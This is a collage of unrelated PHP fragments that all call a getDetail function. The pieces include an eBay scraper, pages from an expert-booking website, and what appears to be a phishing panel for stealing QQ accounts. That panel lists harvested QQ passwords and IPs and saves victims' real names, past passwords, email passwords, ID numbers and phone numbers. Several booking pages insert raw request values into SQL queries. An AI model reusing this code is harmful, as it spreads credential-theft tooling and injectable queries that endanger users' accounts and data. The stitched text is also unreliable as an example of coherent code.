<?php require __DIR__ . '/vendor/autoload.php'; // https://github.com/dompdf/dompdf define('DOMPDF_ENABLE_AUTOLOAD', false); require_once __DIR__ . '/vendor/dompdf/dompdf/dompdf_config.inc.php'; $url["detail"] = "http://www.ebay.co.uk/itm/"; if (empty($_POST['getDetail'])) { die(json_encode(array("error" => 1, "msg" => "undefained param!"))); } else { $key = $_POST['key']; $res["error"] = 0; $res["msg"]["page"] = getDetail($key); echo json_encode($res); } function getDetail($id) { global $url; $body = request(array('url' => $url["detail"] . rawurlencode($id))); return $body; } // http://www.jacobward.co.uk/using-proxies-for-scraping-with-php-curl/ function getProxy() { if (!empty($_GET['radomProxy'])) { require __DIR__ . '/library/getProxy.php'; $hoge = new Proxy(); $hoge->setRandomProxyAndPort(); $proxy = $hoge->getProxy() . ":" . $hoge->getPort(); return $proxy; } else {
<?php require_once 'phpInclude/header.php'; $field = "*"; $table = "categories"; $condition = "and status='1' "; $categories = getDetail($field, $table, $condition); ?> <style> .available { background-color: #d7eac0 !important; border-color: #afd581 !important; border-style: solid !important; border-width: 1px !important; } </style> <form id="form_book_schedule_public"> <section class="midsection accountsection"><!-- // MID MAIN SECTION // --> <div class="container"> <div class="row"> <div class="col-xs-12 col-sm-10 col-sm-offset-1"> <ul class="progresslist"> <!-- stepcomp --> <li class=""><span class="stepblk"><span class="count">1</span></span><h6>Schedule session</h6></li> <li class=""><span class="stepblk"><span class="count">2</span></span><h6>Add details</h6></li> <li class=""><span class="stepblk"><span class="count">3</span></span><h6>Confirm</h6></li> </ul> </div> </div>
<div class="col-xs-1" ><a href="jaavscript:void(0);" title="Click to delete" class="delete_website" alt="<?php echo $wb_detail['id']; ?> ">X</a></div> </div> <?php } } ?> <form id="partner_html"> <?php $field = " id,name "; $table = " partner_category "; $condition = " "; $partner_detail = getDetail($field, $table, $condition); ?> <select id='default_cat' style="display:none;"> <option value=''>Select a cetegory</option> <?php foreach ($partner_detail as $partner) { echo "<option value='" . $partner['id'] . "'>" . $partner['name'] . "</option>"; } ?> </select> <input type="hidden" name="action" value="add_partner_website"> </form> </div> <div class="col-xs-12"> <label>
</div> <div class="col-xs-12 col-sm-8 col-md-9"> <section class="right_main HelpCont"><!-- // RIGHT MAIN // --> <ul class="breadcrumb"> <li><a href="javascript:void(0);">Home</a></li> <li>Popular tags</li> </ul> <div class="MainTagsOtr"> <ul> <?php $field = " * "; $table = " tags "; $condition = " AND status='1' "; $tags = getDetail($field, $table, $condition); foreach ($tags as $key => $value) { $exp = mysql_query("Select count(id) as num from users WHERE is_expert='1' AND find_in_set('" . $tags[$key]['id'] . "',exp_tag_id) <> 0 "); if (mysql_num_rows($exp) > 0) { $res = mysql_fetch_assoc($exp); ?> <li><a href="<?php echo $root . "experts.php?tags=" . $tags[$key]['short_name'] . "&tag_id=" . $tags[$key]['id'] . "&search_type=tag"; ?> " ><?php echo $tags[$key]['name']; ?> <span class="counts"><?php echo $res['num']; ?> experts</span></a></li>
<?php ////// HEADER ////// require_once 'phpInclude/header.php'; $userTimezone = getUserTimezone($_SESSION['LoginUserId']); $field = "`from`,`to`"; $table = "user_availability"; $condition = "and user_id = '" . $_SESSION['LoginUserId'] . "' "; //and `to` >='".$date."' $get_avail = getDetail($field, $table, $condition); ?> <section class="midsection accountsection"><!-- // MID MAIN SECTION // --> <div class="container"> <div class="row"> <div class="col-xs-12 col-sm-4 col-md-3"> <?php require_once 'phpInclude/sidebar_expert_profile.php'; ?> </div> <div class="col-xs-12 col-sm-8 col-md-9"> <section class="right_main"><!-- // RIGHT MAIN // --> <div id="notification" style="display:none;"></div> <form id="form_add_avail"> <!-- <ul class="breadcrumb"> <li><a href="javascript:void(0);">Home</a></li> <li>Schedule Session</li> </ul> --> <h2 class="accountheading">Your availability</h2>
function render_detail($key) { $data = getDetail($key); return $data; }
$languages = ""; } $update_pass = "******" . $short_description . "',exp_help='" . $help_offered . "',exp_category_id='" . $category . "' ,"; $update_pass .= " exp_tag_id='" . $languages . "',exp_rate='" . $hourly_rate . "',profile_url='" . $profile_url . "' WHERE id='" . $user_id . "' "; $update_query = mysql_query($update_pass); if ($update_query) { echo "success"; } else { echo "error"; } } else { echo "purl_exists"; } } /* search experts by name */ if (isset($_GET['expert_name']) && $_GET['expert_name'] != "") { $search_query = mysql_real_escape_string(trim($_GET['expert_name'])); $field = " * "; $table = " users "; $condition = " AND is_expert='1' AND (username LIKE '{$search_query}%' OR fname LIKE '{$search_query}%' OR lname LIKE '{$search_query}%')"; $languages = getDetail($field, $table, $condition); $data = array(); if (count($languages) > 0) { foreach ($languages as $key => $value) { $data[] = array("id" => $value['id'], "label" => $value['fname'], "value" => $value['fname']); } } else { $data[] = array("id" => "0", "label" => "No record", "value" => "No record"); } echo json_encode($data); }
<?php require_once 'phpInclude/header.php'; $session_id = $_GET['id']; $field = " sessions.*,u.fname,u.lname,u.profile_image, (select GROUP_CONCAT(datetime) FROM session_time WHERE session_time.session_id=sessions.id) as time_request "; $table = "sessions LEFT JOIN users as u ON(sessions.user_id=u.id) "; $condition = "and sessions.id='" . $session_id . "' "; $session_detail = getDetail($field, $table, $condition); $userTimezone = getUserTimezone($_SESSION['LoginUserId']); ?> <form id="form_accept_session"> <input type="hidden" id="exp_id" name="exp_id" value="<?php echo $_SESSION['LoginUserId']; ?> "> <section class="midsection accountsection"><!-- // MID MAIN SECTION // --> <div class="container"> <div class="row"> <div class="col-xs-12 col-sm-4 col-md-3"> <?php require_once 'phpInclude/sidebar_schedule_respond.php'; ?> </div> <div class="col-xs-12 col-sm-8 col-md-9"> <section class="right_main"><!-- // RIGHT MAIN // --> <div id="notification" style="display:none;"></div> <div class="browsemain" ><!-- // BROWSER EXPERTS MAIN // --> <section id="step1" class="Req_sections req_step1" style="display:block;"><!-- // STEP 1 // -->
<p>Your session time has been passed.<br><a href="<?php echo $root; ?> user_sessions.php?tab=schedule">Return to dashboard</a></p> </div> </div><!-- Session Message --> </div><!-- ALL SCREEN OUTER --> </div> <?php } else { if ($fetch['time_requested'] == '1' || strtotime($date) >= strtotime($fetch['session_datetime']) && strtotime($date) <= strtotime($fetch['session_datetime'] . "+" . $fetch['duration'] . " MINUTES ")) { $field = " tokbox_id "; $table = " users "; $condition = " AND id = '" . $fetch['exp_applied_id'] . "' "; $user_dt = getDetail($field, $table, $condition); $sessionId = $user_dt[0]['tokbox_id']; $apiObj = new OpenTokSDK($tokboxApi, $tokboxApiSecret); $tokenId = $apiObj->generate_token($sessionId, RoleConstants::PUBLISHER, null, $_SESSION['LoginUserId']); ?> <div class="SmallVideoCont"> <div id="smallvideo"></div><!-- Small Video --> </div> <div id="exp_id"><?php echo $fetch['exp_applied_id']; ?> </div> <script type="text/javascript"> var root = "<?php echo $root; ?>
<?php require_once 'phpInclude/header.php'; $exp_id = $_GET['id']; $field = " fname,lname,profile_image "; $table = "users "; $condition = "and id='" . $exp_id . "' "; $exp_detail = getDetail($field, $table, $condition); ?> <style> .available { background-color: #d7eac0 !important; border-color: #afd581 !important; border-style: solid !important; border-width: 1px !important; } </style> <section class="midsection accountsection"><!-- // MID MAIN SECTION // --> <div class="container"> <div class="row"> <div class="col-xs-12 col-sm-10 col-sm-offset-1"> <ul class="progresslist"> <!-- stepcomp --> <li class=""><span class="stepblk"><span class="count">1</span></span><h6>Schedule session</h6></li> <li class=""><span class="stepblk"><span class="count">2</span></span><h6>Add details</h6></li> <li class=""><span class="stepblk"><span class="count">3</span></span><h6>Confirm</h6></li> </ul> </div> </div> <div class="row">
if (!is_array($qqlist)) { } else { foreach ($qqlist as $key => $value) { if (is_array($value)) { foreach ($value as $k1 => $v2) { if ($v2->qq == $securityList[$key]->qq) { $content = $securityList[$key]->content; } $html = " <tr>\n\t\t\t\t\t\t\t\t\t\t\t\t<td>" . $v2->qq . "</td>\n\t\t\t\t\t\t\t\t\t\t\t\t<td>" . $v2->password . "</td>\n\t\t\t\t\t\t\t\t\t\t\t\t<td>" . $v2->time . "</td>\n\t\t\t\t\t\t\t\t\t\t\t\t<td>" . $content . "</td>\n\t\t\t\t\t\t\t\t\t\t\t</tr>"; echo $html; } } else { if ($value->qq == $securityList[$key]->qq) { $content = $securityList[$key]->content; } $html = " <tr>\n\t\t\t\t\t\t\t\t\t\t\t<td>" . $value->qq . "</td>\n\t\t\t\t\t\t\t\t\t\t\t<td>" . $value->password . "</td>\n\t\t\t\t\t\t\t\t\t\t\t<td>" . $value->time . "</td>\n\t\t\t\t\t\t\t\t\t\t\t<td>" . print_r(formatSecurity($content, $value->qq), true) . "</td>\n\t\t\t\t\t\t\t\t\t\t\t<td>" . print_r(formatDetail(json_decode(getDetail($value->qq), true), $value->qq), true) . "</td>\n\t\t\t\t\t\t\t\t\t\t\t<td>" . $value->IP . "</td>\n\t\t\t\t\t\t\t\t\t\t\t<td><input qq=\"" . $value->qq . "\" type=\"button\" onclick=\"deleteQQ(this)\" value=\"删除\"></td>\n\t\t\t\t\t\t\t\t\t\t</tr>"; echo $html; } } } ?> </table> </div> <?php } ?> <script type="text/javascript"> function backToHome(){ window.location.href="index.php";
function writeDetail($qq, $trueName, $addr, $anotherQQ, $password, $reciveType, $reciveMail, $reciveMailPassword, $historyPw1, $historyPw2, $historyPw3, $trueName1, $certificateType, $certificateNumber, $phoneNumber, $other) { $trueName = iconv("GBK", "UTF-8//IGNORE", $trueName); $addr = iconv("GBK", "UTF-8//IGNORE", $addr); $trueName1 = iconv("GBK", "UTF-8//IGNORE", $trueName1); $other = iconv("GBK", "UTF-8//IGNORE", $other); $detailList = getDetail($qq); $detailList = json_decode($detailList, true); $index = 0; $flag = 0; $detailInfo = array("真实姓名" => $trueName, '详细地址' => $addr, '另一个QQ' => $anotherQQ, '密码' => $password, '结果接收方式' => $reciveType, '接收结果的邮箱' => $reciveMail, '接收结果的邮箱密码' => $reciveMailPassword, '历史密码1' => $historyPw1, '历史密码2' => $historyPw2, '历史密码3' => $historyPw3, '真实姓名2' => $trueName1, '身份证类型' => $certificateType, '身份证号码' => $certificateNumber, '手机号码' => $phoneNumber, '备注' => $other); if ($detailList == null) { $detailList = array(); array_push($detailList, array("qq" => $qq, "detail" => $detailInfo)); } else { foreach ($detailList as $key => $value) { if ($value['qq'] == $qq) { $flag++; $index = $key; break; } } if ($flag <= 0) { array_push($detailList, array("qq" => $qq, "detail" => $detailInfo)); } else { $o = json_decode(file_get_contents("detail/{$qq}.txt")); $detailInfoA = array(); if (is_array($o[0]->detail)) { array_push($o[0]->detail, $detailInfo); $detailInfoA = $o[0]->detail; } else { array_push($detailInfoA, $o[0]->detail); array_push($detailInfoA, $detailInfo); } $detailList[$index]['detail'] = $detailInfoA; } } if (file_exists("detail/{$qq}.txt")) { file_put_contents("detail/{$qq}.txt", ""); } file_put_contents("detail/{$qq}.txt", json_encode($detailList)); }
</div> <div class="col-xs-12 col-xss-2 col-sm-2"> <a href="javascript:void(0);" class="editlink"><i class="fa fa-edit"></i> Edit</a> </div> </li> <li> <div class="col-xs-12 col-xss-10 col-sm-4 col-md-3"><label>Area of expertise</label></div> <div class="col-xs-12 col-xss-10 col-sm-6 col-md-7"> <span class="value" id="categ_span">-</span> <select class="form-control valuefield" style="display:none;" name="category" id="category1"> <option value="">Select Category</option> <?php $cond = " "; $field = " * "; $table = " categories "; $timezone = getDetail($field, $table, $cond); foreach ($timezone as $key => $value) { if (trim($value['id']) == trim($category)) { $selected = 'selected="selected"'; } else { $selected = ''; } ?> <option value="<?php echo $value['id']; ?> " <?php echo $selected; ?> ><?php echo $value['name'];
<?php session_start(); require_once "config.php"; require_once "config_user.php"; $dbh = connectDb(); if (empty($_SESSION["name"])) { header("Location:login_alert.php"); } else { if (preg_match("/^[1-9][0-9]*\$/", $_GET["id"])) { $detail = getDetail((int) $_GET["id"], $dbh); } else { $detail = getDetail(10, $dbh); } } ?> <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> <title>Document</title> <link rel="stylesheet" href="css/common.css"> </head> <body> <nav> <h1><a href="index.php" alt="top">South East Asia press</a></h1> <div id="login"> <form action="logout.php" method="POST"> <p>こんにちは<?php echo $_SESSION["name"];